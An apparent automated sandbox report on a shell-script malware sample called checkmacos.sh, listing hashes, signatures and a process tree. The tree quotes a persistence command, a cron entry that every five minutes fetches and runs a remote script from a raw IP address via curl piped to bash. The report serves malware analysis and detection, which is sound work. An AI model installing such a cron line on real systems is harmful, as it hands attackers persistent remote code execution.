Analysis
- max time kernel
3s - platform
debian-9_mips - resource
debian9-mipsbe-20251231-en - resource tags
arch:mipsimage:debian9-mipsbe-20251231-enkernel:4.9.0-13-4kc-maltalocale:en-usos:debian-9-mipssystem - submitted
13/01/2026, 16:20
Static task
static1
Behavioral task
behavioral1
Sample
checkmacos.sh
Resource
ubuntu1804-amd64-20251231-en
ubuntu-18.04-amd64
4 signatures
150 seconds
Behavioral task
behavioral2
Sample
checkmacos.sh
Resource
debian9-armhf-20251231-en
debian-9-armhf
4 signatures
150 seconds
Behavioral task
behavioral3
Sample
checkmacos.sh
Resource
debian9-mipsbe-20251231-en
debian-9-mips
4 signatures
150 seconds
Behavioral task
behavioral4
Sample
checkmacos.sh
Resource
debian9-mipsel-20251231-en
debian-9-mipsel
4 signatures
150 seconds
General
- Target checkmacos.sh
- Size 993B
- Sample260113-ttd75act8f
- SHA256 0ffa6dafa8c65e522224da55752e0b4b8b5fb386719a866247e40e788f5fa0d1
- MD5 7f36c1055b23492035234453bbc5628c
- SHA1 095a91f6d8d9c7b4eaa714b5ff8a9722b6eaabd0
- SHA512 f9faccea719a47f3acad05652cbc6e0df0419d3f321d525fa908902b149b376dd6d4b38493697287715d624f4c7bc04f294b740991827b59a8516058ccbf4b18
- MD5 SHA1 SHA512
Malware Config
Signatures
- Creates/modifies Cron job 1 TTPs 1 IoCs
Cron allows running tasks on a schedule, and is commonly used for malware persistence.
description ioc Process File opened for modification /var/spool/cron/crontabs/tmp.KtfIbM crontab - Enumerates running processes
Discovers information about currently running processes on the system
- Reads CPU attributes 1 TTPs 1 IoCs
description ioc Process File opened for reading /sys/devices/system/cpu/online pgrep -
description ioc Process File opened for reading /proc/392/status pgrep File opened for reading /proc/687/status pgrep File opened for reading /proc/719/cmdline pgrep File opened for reading /proc/728/status pgrep File opened for reading /proc/5/status pgrep File opened for reading /proc/15/status pgrep File opened for reading /proc/22/status pgrep File opened for reading /proc/22/cmdline pgrep File opened for reading /proc/109/cmdline pgrep File opened for reading /proc/447/cmdline pgrep File opened for reading /proc/713/cmdline pgrep File opened for reading /proc/20/cmdline pgrep File opened for reading /proc/83/status pgrep File opened for reading /proc/729/status pgrep File opened for reading /proc/2/status pgrep File opened for reading /proc/24/status pgrep File opened for reading /proc/filesystems pgrep File opened for reading /proc/347/cmdline pgrep File opened for reading /proc/447/status pgrep File opened for reading /proc/11/status pgrep File opened for reading /proc/15/cmdline pgrep File opened for reading /proc/80/cmdline pgrep File opened for reading /proc/176/status pgrep File opened for reading /proc/693/cmdline pgrep File opened for reading /proc/720/cmdline pgrep File opened for reading /proc/740/status pgrep File opened for reading /proc/3/cmdline pgrep File opened for reading /proc/77/status pgrep File opened for reading /proc/120/status pgrep File opened for reading /proc/348/status pgrep File opened for reading /proc/24/cmdline pgrep File opened for reading /proc/12/status pgrep File opened for reading /proc/13/status pgrep File opened for reading /proc/13/cmdline pgrep File opened for reading /proc/75/cmdline pgrep File opened for reading /proc/78/status pgrep File opened for reading /proc/688/status pgrep File opened for reading /proc/filesystems crontab File opened for reading /proc/712/status pgrep File opened for reading /proc/393/cmdline pgrep File opened for reading /proc/693/status pgrep File opened for reading /proc/77/cmdline pgrep File opened for reading /proc/347/status pgrep File opened for reading /proc/14/cmdline pgrep File opened for reading /proc/16/cmdline pgrep File opened for reading /proc/76/status pgrep File opened for reading /proc/259/cmdline pgrep File opened for reading /proc/687/cmdline pgrep File opened for reading /proc/6/status pgrep File opened for reading /proc/6/cmdline pgrep File opened for reading /proc/23/cmdline pgrep File opened for reading /proc/71/cmdline pgrep File opened for reading /proc/83/cmdline pgrep File opened for reading /proc/259/status pgrep File opened for reading /proc/720/status pgrep File opened for reading /proc/723/cmdline pgrep File opened for reading /proc/158/status pgrep File opened for reading /proc/688/cmdline pgrep File opened for reading /proc/728/cmdline pgrep File opened for reading /proc/75/status pgrep File opened for reading /proc/120/cmdline pgrep File opened for reading /proc/671/cmdline pgrep File opened for reading /proc/717/status pgrep File opened for reading /proc/4/status pgrep
Processes
-
/tmp/checkmacos.sh/tmp/checkmacos.sh1⤵PID:722
-
/bin/grepgrep -Fq "*/5 * * * * /usr/bin/bash -c 'cd /tmp && bash <(curl -s http://149.28.129.194/checkmacos.sh)' &"2⤵PID:727
-
-
/usr/bin/crontabcrontab -l2⤵PID:725
-
-
/usr/bin/crontabcrontab -2⤵
- Creates/modifies Cron job
- Reads runtime system information
PID:731
-
-
/usr/bin/crontabcrontab -l2⤵PID:735
-
-
/usr/bin/pgreppgrep -f macos2⤵
- Reads CPU attributes
- Reads runtime system information
PID:740
-
Network
MITRE ATT&CK Enterprise v16
Replay Monitor
Loading Replay Monitor...
Downloads
- Path /var/spool/cron/crontabs/tmp.KtfIbM
- Size 271B
- SHA256 88bb3430df3fc24303a3c13edd0e68a01f825d75d6f7c16fd85eab21150597e9
- MD5 18ba95118b2c90668bcd050b5ee0c0a8
- SHA1 aaad9d7f6c37b0faa10e1db7345340f265525972
- SHA512 c76d9aa2206866a540fc44061154c1ba96f48af702246643ba6fc010442f02506512249a6252a9cd462637178263844d5a631bc203162ada56ea544edc43882e
- TLSH T1A7D095997B18A430174C4F94735746F99599907490DDBEA0D0DC0C38010B35D7B56A31
- MD5 SHA1 SHA512 TLSH